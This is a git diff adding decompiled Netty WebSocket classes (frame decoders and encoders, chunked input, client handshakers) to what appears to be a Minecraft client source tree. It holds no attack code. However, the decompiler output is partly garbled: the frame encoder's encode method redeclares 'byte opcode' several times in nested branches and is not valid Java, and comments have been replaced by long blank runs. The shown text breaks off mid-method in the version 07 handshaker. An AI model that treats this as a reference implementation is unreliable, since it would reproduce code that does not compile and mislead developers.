+          if ((fragmentedFramesCount != 0) && (frameOpcode != 0) && (frameOpcode != 9)) {
+            protocolViolation(ctx, "received non-continuation data frame while inside fragmented message");
+            
+            return;
+          }
+        }
+        
+
+        if (framePayloadLen1 == 126) {
+          framePayloadLength = in.readUnsignedShort();
+          if (framePayloadLength < 126L) {
+            protocolViolation(ctx, "invalid data frame length (not using minimal length encoding)");
+          }
+        }
+        else if (framePayloadLen1 == 127) {
+          framePayloadLength = in.readLong();
+          
+
+
+          if (framePayloadLength < 65536L) {
+            protocolViolation(ctx, "invalid data frame length (not using minimal length encoding)");
+          }
+        }
+        else {
+          framePayloadLength = framePayloadLen1;
+        }
+        
+        if (framePayloadLength > maxFramePayloadLength) {
+          protocolViolation(ctx, "Max frame length of " + maxFramePayloadLength + " has been exceeded.");
+          return;
+        }
+        
+        if (logger.isDebugEnabled()) {
+          logger.debug("Decoding WebSocket Frame length={}", Long.valueOf(framePayloadLength));
+        }
+        
+        checkpoint(State.MASKING_KEY);
+      case 2: 
+        if (maskedPayload) {
+          if (maskingKey == null) {
+            maskingKey = new byte[4];
+          }
+          in.readBytes(maskingKey);
+        }
+        checkpoint(State.PAYLOAD);
+      
+
+      case 3: 
+        int rbytes = actualReadableBytes();
+        
+        long willHaveReadByteCount = framePayloadBytesRead + rbytes;
+        
+
+
+        if (willHaveReadByteCount == framePayloadLength)
+        {
+          payloadBuffer = ctx.alloc().buffer(rbytes);
+          payloadBuffer.writeBytes(in, rbytes);
+        } else { if (willHaveReadByteCount < framePayloadLength)
+          {
+
+
+            if (framePayload == null) {
+              framePayload = ctx.alloc().buffer(toFrameLength(framePayloadLength));
+            }
+            framePayload.writeBytes(in, rbytes);
+            framePayloadBytesRead += rbytes;
+            
+
+            return; }
+          if (willHaveReadByteCount > framePayloadLength)
+          {
+
+            if (framePayload == null) {
+              framePayload = ctx.alloc().buffer(toFrameLength(framePayloadLength));
+            }
+            framePayload.writeBytes(in, toFrameLength(framePayloadLength - framePayloadBytesRead));
+          }
+        }
+        
+
+        checkpoint(State.FRAME_START);
+        
+
+        if (framePayload == null) {
+          framePayload = payloadBuffer;
+          payloadBuffer = null;
+        } else if (payloadBuffer != null) {
+          framePayload.writeBytes(payloadBuffer);
+          payloadBuffer.release();
+          payloadBuffer = null;
+        }
+        
+
+        if (maskedPayload) {
+          unmask(framePayload);
+        }
+        
+
+
+        if (frameOpcode == 9) {
+          out.add(new PingWebSocketFrame(frameFinalFlag, frameRsv, framePayload));
+          framePayload = null;
+          return;
+        }
+        if (frameOpcode == 10) {
+          out.add(new PongWebSocketFrame(frameFinalFlag, frameRsv, framePayload));
+          framePayload = null;
+          return;
+        }
+        if (frameOpcode == 8) {
+          checkCloseFrameBody(ctx, framePayload);
+          receivedClosingHandshake = true;
+          out.add(new CloseWebSocketFrame(frameFinalFlag, frameRsv, framePayload));
+          framePayload = null;
+          return;
+        }
+        
+
+
+        if (frameFinalFlag)
+        {
+
+          if (frameOpcode != 9) {
+            fragmentedFramesCount = 0;
+            
+
+            if ((frameOpcode == 1) || ((utf8Validator != null) && (utf8Validator.isChecking())))
+            {
+
+              checkUTF8String(ctx, framePayload);
+              
+
+
+              utf8Validator.finish();
+            }
+          }
+        }
+        else
+        {
+          if (fragmentedFramesCount == 0)
+          {
+            if (frameOpcode == 1) {
+              checkUTF8String(ctx, framePayload);
+            }
+            
+          }
+          else if ((utf8Validator != null) && (utf8Validator.isChecking())) {
+            checkUTF8String(ctx, framePayload);
+          }
+          
+
+
+          fragmentedFramesCount += 1;
+        }
+        
+
+        if (frameOpcode == 1) {
+          out.add(new TextWebSocketFrame(frameFinalFlag, frameRsv, framePayload));
+          framePayload = null;
+          return; }
+        if (frameOpcode == 2) {
+          out.add(new BinaryWebSocketFrame(frameFinalFlag, frameRsv, framePayload));
+          framePayload = null;
+          return; }
+        if (frameOpcode == 0) {
+          out.add(new ContinuationWebSocketFrame(frameFinalFlag, frameRsv, framePayload));
+          framePayload = null;
+          return;
+        }
+        throw new UnsupportedOperationException("Cannot decode web socket frame with opcode: " + frameOpcode);
+      
+
+
+
+      case 4: 
+        in.readByte();
+        return;
+      }
+      throw new Error("Shouldn't reach here.");
+    }
+    catch (Exception e) {
+      if (payloadBuffer != null) {
+        if (payloadBuffer.refCnt() > 0) {
+          payloadBuffer.release();
+        }
+        payloadBuffer = null;
+      }
+      if (framePayload != null) {
+        if (framePayload.refCnt() > 0) {
+          framePayload.release();
+        }
+        framePayload = null;
+      }
+      throw e;
+    }
+  }
+  
+  private void unmask(ByteBuf frame) {
+    for (int i = frame.readerIndex(); i < frame.writerIndex(); i++) {
+      frame.setByte(i, frame.getByte(i) ^ maskingKey[(i % 4)]);
+    }
+  }
+  
+  private void protocolViolation(ChannelHandlerContext ctx, String reason) {
+    protocolViolation(ctx, new CorruptedFrameException(reason));
+  }
+  
+  private void protocolViolation(ChannelHandlerContext ctx, CorruptedFrameException ex) {
+    checkpoint(State.CORRUPT);
+    if (ctx.channel().isActive()) {
+      ctx.writeAndFlush(Unpooled.EMPTY_BUFFER).addListener(ChannelFutureListener.CLOSE);
+    }
+    throw ex;
+  }
+  
+  private static int toFrameLength(long l) {
+    if (l > 2147483647L) {
+      throw new TooLongFrameException("Length:" + l);
+    }
+    return (int)l;
+  }
+  
+  private void checkUTF8String(ChannelHandlerContext ctx, ByteBuf buffer)
+  {
+    try {
+      if (utf8Validator == null) {
+        utf8Validator = new Utf8Validator();
+      }
+      utf8Validator.check(buffer);
+    } catch (CorruptedFrameException ex) {
+      protocolViolation(ctx, ex);
+    }
+  }
+  
+
+  protected void checkCloseFrameBody(ChannelHandlerContext ctx, ByteBuf buffer)
+  {
+    if ((buffer == null) || (!buffer.isReadable())) {
+      return;
+    }
+    if (buffer.readableBytes() == 1) {
+      protocolViolation(ctx, "Invalid close frame body");
+    }
+    
+
+    int idx = buffer.readerIndex();
+    buffer.readerIndex(0);
+    
+
+    int statusCode = buffer.readShort();
+    if (((statusCode >= 0) && (statusCode <= 999)) || ((statusCode >= 1004) && (statusCode <= 1006)) || ((statusCode >= 1012) && (statusCode <= 2999)))
+    {
+      protocolViolation(ctx, "Invalid close frame getStatus code: " + statusCode);
+    }
+    
+
+    if (buffer.isReadable()) {
+      try {
+        new Utf8Validator().check(buffer);
+      } catch (CorruptedFrameException ex) {
+        protocolViolation(ctx, ex);
+      }
+    }
+    
+
+    buffer.readerIndex(idx);
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx) throws Exception
+  {
+    super.channelInactive(ctx);
+    
+
+
+    if (framePayload != null) {
+      framePayload.release();
+    }
+    if (payloadBuffer != null) {
+      payloadBuffer.release();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket08FrameEncoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket08FrameEncoder.java
new file mode 100644
index 0000000..808e6ac
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket08FrameEncoder.java
@@ -0,0 +1,199 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageEncoder;
+import io.netty.handler.codec.TooLongFrameException;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.nio.ByteBuffer;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocket08FrameEncoder
+  extends MessageToMessageEncoder<WebSocketFrame>
+  implements WebSocketFrameEncoder
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(WebSocket08FrameEncoder.class);
+  
+  private static final byte OPCODE_CONT = 0;
+  
+  private static final byte OPCODE_TEXT = 1;
+  
+  private static final byte OPCODE_BINARY = 2;
+  
+  private static final byte OPCODE_CLOSE = 8;
+  
+  private static final byte OPCODE_PING = 9;
+  
+  private static final byte OPCODE_PONG = 10;
+  
+  private final boolean maskPayload;
+  
+
+  public WebSocket08FrameEncoder(boolean maskPayload)
+  {
+    this.maskPayload = maskPayload;
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, WebSocketFrame msg, List<Object> out) throws Exception
+  {
+    ByteBuf data = msg.content();
+    
+    byte opcode;
+    
+    if ((msg instanceof TextWebSocketFrame)) {
+      opcode = 1; } else { byte opcode;
+      if ((msg instanceof PingWebSocketFrame)) {
+        opcode = 9; } else { byte opcode;
+        if ((msg instanceof PongWebSocketFrame)) {
+          opcode = 10; } else { byte opcode;
+          if ((msg instanceof CloseWebSocketFrame)) {
+            opcode = 8; } else { byte opcode;
+            if ((msg instanceof BinaryWebSocketFrame)) {
+              opcode = 2; } else { byte opcode;
+              if ((msg instanceof ContinuationWebSocketFrame)) {
+                opcode = 0;
+              } else
+                throw new UnsupportedOperationException("Cannot encode frame of type: " + msg.getClass().getName());
+            } } } } }
+    byte opcode;
+    int length = data.readableBytes();
+    
+    if (logger.isDebugEnabled()) {
+      logger.debug("Encoding WebSocket Frame opCode=" + opcode + " length=" + length);
+    }
+    
+    int b0 = 0;
+    if (msg.isFinalFragment()) {
+      b0 |= 0x80;
+    }
+    b0 |= msg.rsv() % 8 << 4;
+    b0 |= opcode % 128;
+    
+    if ((opcode == 9) && (length > 125)) {
+      throw new TooLongFrameException("invalid payload for PING (payload length must be <= 125, was " + length);
+    }
+    
+
+    boolean release = true;
+    ByteBuf buf = null;
+    try {
+      int maskLength = maskPayload ? 4 : 0;
+      if (length <= 125) {
+        int size = 2 + maskLength;
+        if (maskPayload) {
+          size += length;
+        }
+        buf = ctx.alloc().buffer(size);
+        buf.writeByte(b0);
+        byte b = (byte)(maskPayload ? 0x80 | (byte)length : (byte)length);
+        buf.writeByte(b);
+      } else if (length <= 65535) {
+        int size = 4 + maskLength;
+        if (maskPayload) {
+          size += length;
+        }
+        buf = ctx.alloc().buffer(size);
+        buf.writeByte(b0);
+        buf.writeByte(maskPayload ? 254 : 126);
+        buf.writeByte(length >>> 8 & 0xFF);
+        buf.writeByte(length & 0xFF);
+      } else {
+        int size = 10 + maskLength;
+        if (maskPayload) {
+          size += length;
+        }
+        buf = ctx.alloc().buffer(size);
+        buf.writeByte(b0);
+        buf.writeByte(maskPayload ? 255 : 127);
+        buf.writeLong(length);
+      }
+      
+
+      if (maskPayload) {
+        int random = (int)(Math.random() * 2.147483647E9D);
+        byte[] mask = ByteBuffer.allocate(4).putInt(random).array();
+        buf.writeBytes(mask);
+        
+        int counter = 0;
+        for (int i = data.readerIndex(); i < data.writerIndex(); i++) {
+          byte byteData = data.getByte(i);
+          buf.writeByte(byteData ^ mask[(counter++ % 4)]);
+        }
+        out.add(buf);
+      }
+      else if (buf.writableBytes() >= data.readableBytes())
+      {
+        buf.writeBytes(data);
+        out.add(buf);
+      } else {
+        out.add(buf);
+        out.add(data.retain());
+      }
+      
+      release = false;
+    } finally {
+      if ((release) && (buf != null)) {
+        buf.release();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket13FrameDecoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket13FrameDecoder.java
new file mode 100644
index 0000000..f6a1703
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket13FrameDecoder.java
@@ -0,0 +1,76 @@
+package io.netty.handler.codec.http.websocketx;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocket13FrameDecoder
+  extends WebSocket08FrameDecoder
+{
+  public WebSocket13FrameDecoder(boolean maskedPayload, boolean allowExtensions, int maxFramePayloadLength)
+  {
+    super(maskedPayload, allowExtensions, maxFramePayloadLength);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket13FrameEncoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket13FrameEncoder.java
new file mode 100644
index 0000000..8713de5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocket13FrameEncoder.java
@@ -0,0 +1,73 @@
+package io.netty.handler.codec.http.websocketx;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocket13FrameEncoder
+  extends WebSocket08FrameEncoder
+{
+  public WebSocket13FrameEncoder(boolean maskPayload)
+  {
+    super(maskPayload);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketChunkedInput.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketChunkedInput.java
new file mode 100644
index 0000000..9de8c8e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketChunkedInput.java
@@ -0,0 +1,114 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.stream.ChunkedInput;
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class WebSocketChunkedInput
+  implements ChunkedInput<WebSocketFrame>
+{
+  private final ChunkedInput<ByteBuf> input;
+  private final int rsv;
+  
+  public WebSocketChunkedInput(ChunkedInput<ByteBuf> input)
+  {
+    this(input, 0);
+  }
+  
+
+
+
+
+
+
+  public WebSocketChunkedInput(ChunkedInput<ByteBuf> input, int rsv)
+  {
+    this.input = ((ChunkedInput)ObjectUtil.checkNotNull(input, "input"));
+    this.rsv = rsv;
+  }
+  
+
+
+
+  public boolean isEndOfInput()
+    throws Exception
+  {
+    return input.isEndOfInput();
+  }
+  
+
+
+  public void close()
+    throws Exception
+  {
+    input.close();
+  }
+  
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public WebSocketFrame readChunk(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    return readChunk(ctx.alloc());
+  }
+  
+
+
+
+
+
+
+
+  public WebSocketFrame readChunk(ByteBufAllocator allocator)
+    throws Exception
+  {
+    ByteBuf buf = (ByteBuf)input.readChunk(allocator);
+    if (buf == null) {
+      return null;
+    }
+    return new ContinuationWebSocketFrame(input.isEndOfInput(), rsv, buf);
+  }
+  
+  public long length()
+  {
+    return input.length();
+  }
+  
+  public long progress()
+  {
+    return input.progress();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshaker.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshaker.java
new file mode 100644
index 0000000..9a14d4f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshaker.java
@@ -0,0 +1,275 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpClientCodec;
+import io.netty.handler.codec.http.HttpContentDecompressor;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpRequestEncoder;
+import io.netty.handler.codec.http.HttpResponseDecoder;
+import java.net.URI;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class WebSocketClientHandshaker
+{
+  private final URI uri;
+  private final WebSocketVersion version;
+  private volatile boolean handshakeComplete;
+  private final String expectedSubprotocol;
+  private volatile String actualSubprotocol;
+  protected final HttpHeaders customHeaders;
+  private final int maxFramePayloadLength;
+  
+  protected WebSocketClientHandshaker(URI uri, WebSocketVersion version, String subprotocol, HttpHeaders customHeaders, int maxFramePayloadLength)
+  {
+    this.uri = uri;
+    this.version = version;
+    expectedSubprotocol = subprotocol;
+    this.customHeaders = customHeaders;
+    this.maxFramePayloadLength = maxFramePayloadLength;
+  }
+  
+
+
+  public URI uri()
+  {
+    return uri;
+  }
+  
+
+
+  public WebSocketVersion version()
+  {
+    return version;
+  }
+  
+
+
+  public int maxFramePayloadLength()
+  {
+    return maxFramePayloadLength;
+  }
+  
+
+
+  public boolean isHandshakeComplete()
+  {
+    return handshakeComplete;
+  }
+  
+  private void setHandshakeComplete() {
+    handshakeComplete = true;
+  }
+  
+
+
+  public String expectedSubprotocol()
+  {
+    return expectedSubprotocol;
+  }
+  
+
+
+
+  public String actualSubprotocol()
+  {
+    return actualSubprotocol;
+  }
+  
+  private void setActualSubprotocol(String actualSubprotocol) {
+    this.actualSubprotocol = actualSubprotocol;
+  }
+  
+
+
+
+
+
+  public ChannelFuture handshake(Channel channel)
+  {
+    if (channel == null) {
+      throw new NullPointerException("channel");
+    }
+    return handshake(channel, channel.newPromise());
+  }
+  
+
+
+
+
+
+
+
+  public final ChannelFuture handshake(Channel channel, final ChannelPromise promise)
+  {
+    FullHttpRequest request = newHandshakeRequest();
+    
+    HttpResponseDecoder decoder = (HttpResponseDecoder)channel.pipeline().get(HttpResponseDecoder.class);
+    if (decoder == null) {
+      HttpClientCodec codec = (HttpClientCodec)channel.pipeline().get(HttpClientCodec.class);
+      if (codec == null) {
+        promise.setFailure(new IllegalStateException("ChannelPipeline does not contain a HttpResponseDecoder or HttpClientCodec"));
+        
+        return promise;
+      }
+    }
+    
+    channel.writeAndFlush(request).addListener(new ChannelFutureListener()
+    {
+      public void operationComplete(ChannelFuture future) {
+        if (future.isSuccess()) {
+          ChannelPipeline p = future.channel().pipeline();
+          ChannelHandlerContext ctx = p.context(HttpRequestEncoder.class);
+          if (ctx == null) {
+            ctx = p.context(HttpClientCodec.class);
+          }
+          if (ctx == null) {
+            promise.setFailure(new IllegalStateException("ChannelPipeline does not contain a HttpRequestEncoder or HttpClientCodec"));
+            
+            return;
+          }
+          p.addAfter(ctx.name(), "ws-encoder", newWebSocketEncoder());
+          
+          promise.setSuccess();
+        } else {
+          promise.setFailure(future.cause());
+        }
+      }
+    });
+    return promise;
+  }
+  
+
+
+
+
+
+  protected abstract FullHttpRequest newHandshakeRequest();
+  
+
+
+
+
+
+  public final void finishHandshake(Channel channel, FullHttpResponse response)
+  {
+    verify(response);
+    setActualSubprotocol(response.headers().get("Sec-WebSocket-Protocol"));
+    setHandshakeComplete();
+    
+    ChannelPipeline p = channel.pipeline();
+    
+    HttpContentDecompressor decompressor = (HttpContentDecompressor)p.get(HttpContentDecompressor.class);
+    if (decompressor != null) {
+      p.remove(decompressor);
+    }
+    
+    ChannelHandlerContext ctx = p.context(HttpResponseDecoder.class);
+    if (ctx == null) {
+      ctx = p.context(HttpClientCodec.class);
+      if (ctx == null) {
+        throw new IllegalStateException("ChannelPipeline does not contain a HttpRequestEncoder or HttpClientCodec");
+      }
+      
+      p.replace(ctx.name(), "ws-decoder", newWebsocketDecoder());
+    } else {
+      if (p.get(HttpRequestEncoder.class) != null) {
+        p.remove(HttpRequestEncoder.class);
+      }
+      p.replace(ctx.name(), "ws-decoder", newWebsocketDecoder());
+    }
+  }
+  
+
+
+
+
+
+  protected abstract void verify(FullHttpResponse paramFullHttpResponse);
+  
+
+
+
+
+  protected abstract WebSocketFrameDecoder newWebsocketDecoder();
+  
+
+
+
+
+  protected abstract WebSocketFrameEncoder newWebSocketEncoder();
+  
+
+
+
+
+  public ChannelFuture close(Channel channel, CloseWebSocketFrame frame)
+  {
+    if (channel == null) {
+      throw new NullPointerException("channel");
+    }
+    return close(channel, frame, channel.newPromise());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public ChannelFuture close(Channel channel, CloseWebSocketFrame frame, ChannelPromise promise)
+  {
+    if (channel == null) {
+      throw new NullPointerException("channel");
+    }
+    return channel.writeAndFlush(frame, promise);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshaker00.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshaker00.java
new file mode 100644
index 0000000..e64ef8f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshaker00.java
@@ -0,0 +1,261 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.handler.codec.http.DefaultFullHttpRequest;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpVersion;
+import java.net.URI;
+import java.nio.ByteBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocketClientHandshaker00
+  extends WebSocketClientHandshaker
+{
+  private ByteBuf expectedChallengeResponseBytes;
+  
+  public WebSocketClientHandshaker00(URI webSocketURL, WebSocketVersion version, String subprotocol, HttpHeaders customHeaders, int maxFramePayloadLength)
+  {
+    super(webSocketURL, version, subprotocol, customHeaders, maxFramePayloadLength);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected FullHttpRequest newHandshakeRequest()
+  {
+    int spaces1 = WebSocketUtil.randomNumber(1, 12);
+    int spaces2 = WebSocketUtil.randomNumber(1, 12);
+    
+    int max1 = Integer.MAX_VALUE / spaces1;
+    int max2 = Integer.MAX_VALUE / spaces2;
+    
+    int number1 = WebSocketUtil.randomNumber(0, max1);
+    int number2 = WebSocketUtil.randomNumber(0, max2);
+    
+    int product1 = number1 * spaces1;
+    int product2 = number2 * spaces2;
+    
+    String key1 = Integer.toString(product1);
+    String key2 = Integer.toString(product2);
+    
+    key1 = insertRandomCharacters(key1);
+    key2 = insertRandomCharacters(key2);
+    
+    key1 = insertSpaces(key1, spaces1);
+    key2 = insertSpaces(key2, spaces2);
+    
+    byte[] key3 = WebSocketUtil.randomBytes(8);
+    
+    ByteBuffer buffer = ByteBuffer.allocate(4);
+    buffer.putInt(number1);
+    byte[] number1Array = buffer.array();
+    buffer = ByteBuffer.allocate(4);
+    buffer.putInt(number2);
+    byte[] number2Array = buffer.array();
+    
+    byte[] challenge = new byte[16];
+    System.arraycopy(number1Array, 0, challenge, 0, 4);
+    System.arraycopy(number2Array, 0, challenge, 4, 4);
+    System.arraycopy(key3, 0, challenge, 8, 8);
+    expectedChallengeResponseBytes = Unpooled.wrappedBuffer(WebSocketUtil.md5(challenge));
+    
+
+    URI wsURL = uri();
+    String path = wsURL.getPath();
+    if ((wsURL.getQuery() != null) && (!wsURL.getQuery().isEmpty())) {
+      path = wsURL.getPath() + '?' + wsURL.getQuery();
+    }
+    
+    if ((path == null) || (path.isEmpty())) {
+      path = "/";
+    }
+    
+
+    FullHttpRequest request = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, path);
+    HttpHeaders headers = request.headers();
+    headers.add("Upgrade", "WebSocket").add("Connection", "Upgrade").add("Host", wsURL.getHost());
+    
+
+
+    int wsPort = wsURL.getPort();
+    String originValue = "http://" + wsURL.getHost();
+    if ((wsPort != 80) && (wsPort != 443))
+    {
+
+      originValue = originValue + ':' + wsPort;
+    }
+    
+    headers.add("Origin", originValue).add("Sec-WebSocket-Key1", key1).add("Sec-WebSocket-Key2", key2);
+    
+
+
+    String expectedSubprotocol = expectedSubprotocol();
+    if ((expectedSubprotocol != null) && (!expectedSubprotocol.isEmpty())) {
+      headers.add("Sec-WebSocket-Protocol", expectedSubprotocol);
+    }
+    
+    if (customHeaders != null) {
+      headers.add(customHeaders);
+    }
+    
+
+
+    headers.set("Content-Length", Integer.valueOf(key3.length));
+    request.content().writeBytes(key3);
+    return request;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected void verify(FullHttpResponse response)
+  {
+    HttpResponseStatus status = new HttpResponseStatus(101, "WebSocket Protocol Handshake");
+    
+    if (!response.getStatus().equals(status)) {
+      throw new WebSocketHandshakeException("Invalid handshake response getStatus: " + response.getStatus());
+    }
+    
+    HttpHeaders headers = response.headers();
+    
+    String upgrade = headers.get("Upgrade");
+    if (!"WebSocket".equalsIgnoreCase(upgrade)) {
+      throw new WebSocketHandshakeException("Invalid handshake response upgrade: " + upgrade);
+    }
+    
+
+    String connection = headers.get("Connection");
+    if (!"Upgrade".equalsIgnoreCase(connection)) {
+      throw new WebSocketHandshakeException("Invalid handshake response connection: " + connection);
+    }
+    
+
+    ByteBuf challenge = response.content();
+    if (!challenge.equals(expectedChallengeResponseBytes)) {
+      throw new WebSocketHandshakeException("Invalid challenge");
+    }
+  }
+  
+  private static String insertRandomCharacters(String key) {
+    int count = WebSocketUtil.randomNumber(1, 12);
+    
+    char[] randomChars = new char[count];
+    int randCount = 0;
+    while (randCount < count) {
+      int rand = (int)(Math.random() * 126.0D + 33.0D);
+      if (((33 < rand) && (rand < 47)) || ((58 < rand) && (rand < 126))) {
+        randomChars[randCount] = ((char)rand);
+        randCount++;
+      }
+    }
+    
+    for (int i = 0; i < count; i++) {
+      int split = WebSocketUtil.randomNumber(0, key.length());
+      String part1 = key.substring(0, split);
+      String part2 = key.substring(split);
+      key = part1 + randomChars[i] + part2;
+    }
+    
+    return key;
+  }
+  
+  private static String insertSpaces(String key, int spaces) {
+    for (int i = 0; i < spaces; i++) {
+      int split = WebSocketUtil.randomNumber(1, key.length() - 1);
+      String part1 = key.substring(0, split);
+      String part2 = key.substring(split);
+      key = part1 + ' ' + part2;
+    }
+    
+    return key;
+  }
+  
+  protected WebSocketFrameDecoder newWebsocketDecoder()
+  {
+    return new WebSocket00FrameDecoder(maxFramePayloadLength());
+  }
+  
+  protected WebSocketFrameEncoder newWebSocketEncoder()
+  {
+    return new WebSocket00FrameEncoder();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshaker07.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshaker07.java
new file mode 100644
index 0000000..9eb2b9b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketClientHandshaker07.java
@@ -0,0 +1,201 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.handler.codec.http.DefaultFullHttpRequest;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.net.URI;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocketClientHandshaker07
+  extends WebSocketClientHandshaker
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(WebSocketClientHandshaker07.class);
+  
+
+
+
+
+  public static final String MAGIC_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
+  
+
+
+
+
+  private String expectedChallengeResponseString;
+  
+
+
+
+
+  private final boolean allowExtensions;
+  
+
+
+
+
+
+  public WebSocketClientHandshaker07(URI webSocketURL, WebSocketVersion version, String subprotocol, boolean allowExtensions, HttpHeaders customHeaders, int maxFramePayloadLength)
+  {
+    super(webSocketURL, version, subprotocol, customHeaders, maxFramePayloadLength);
+    this.allowExtensions = allowExtensions;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected FullHttpRequest newHandshakeRequest()
+  {
+    URI wsURL = uri();
+    String path = wsURL.getPath();
+    if ((wsURL.getQuery() != null) && (!wsURL.getQuery().isEmpty())) {
+      path = wsURL.getPath() + '?' + wsURL.getQuery();
+    }
+    
+    if ((path == null) || (path.isEmpty())) {
+      path = "/";
+    }
+    
+
+    byte[] nonce = WebSocketUtil.randomBytes(16);
+    String key = WebSocketUtil.base64(nonce);
+    
+    String acceptSeed = key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
+    byte[] sha1 = WebSocketUtil.sha1(acceptSeed.getBytes(CharsetUtil.US_ASCII));
+    expectedChallengeResponseString = WebSocketUtil.base64(sha1);
+    
+    if (logger.isDebugEnabled()) {
+      logger.debug("WebSocket version 07 client handshake key: {}, expected response: {}", key, expectedChallengeResponseString);
+    }
+    
+
+
+
+    FullHttpRequest request = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, path);
+    HttpHeaders headers = request.headers();
+    
+    headers.add("Upgrade", "WebSocket".toLowerCase()).add("Connection", "Upgrade").add("Sec-WebSocket-Key", key).add("Host", wsURL.getHost());
+    
+
+
+
+    int wsPort = wsURL.getPort();
+    String originValue = "http://" + wsURL.getHost();
+    if ((wsPort != 80) && (wsPort != 443))
+    {
+
+      originValue = originValue + ':' + wsPort;
+    }
